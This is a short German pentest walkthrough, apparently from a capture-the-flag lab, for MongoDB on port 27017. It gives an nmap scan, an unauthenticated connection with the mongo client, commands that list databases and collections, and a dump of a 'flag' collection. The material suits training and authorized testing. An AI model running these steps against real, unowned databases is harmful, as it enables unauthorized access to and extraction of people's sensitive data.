27017 - MongoDB
1. Zielbeschreibung
MongoDB ist eine dokumentenorientierte NoSQL-Datenbank. Bei einem Pentest von MongoDB wird oft untersucht, ob eine fehlkonfigurierte Instanz existiert, die anonyme Zugriffe ermöglicht. Ziel ist es, Zugriff auf sensible Daten zu erhalten.
2. Grundlegender Ablauf
Nmap-Portscan
Verbindung zur MongoDB herstellen
Datenbanken und Sammlungen (Collections) auflisten
Interessante Daten extrahieren
3. Portscan und Service-Erkennung
Verwende nmap
, um den Zielhost auf offene Ports zu untersuchen, insbesondere Port 27017, der von MongoDB verwendet wird.
nmap -p- -sV {target_IP}
Ergebnisbeispiel:
Port 22: SSH-Service
Port 27017: MongoDB-Server
4. Verbindung zur MongoDB herstellen
MongoDB erlaubt oft Verbindungen ohne Authentifizierung. Zum Testen benötigst du das mongo
-Tool.
Verbindung herstellen:
mongo <target_IP>:27017
5. Datenbanken auflisten
Um alle verfügbaren Datenbanken aufzulisten, verwende den Befehl:
> show dbs;
admin 0.000GB
config 0.000GB
local 0.000GB
sensitive_information 0.000GB
users 0.000GB
6. Interessante Datenbank auswählen und Collections anzeigen
Wähle eine Datenbank, die potenziell interessante Informationen enthält:
> use sensitive_information;
> show collections;
flag
7. Dokumente aus einer Collection abrufen
Um alle Dokumente aus einer Collection zu extrahieren, verwende:
> db.flag.find().pretty();
Last updated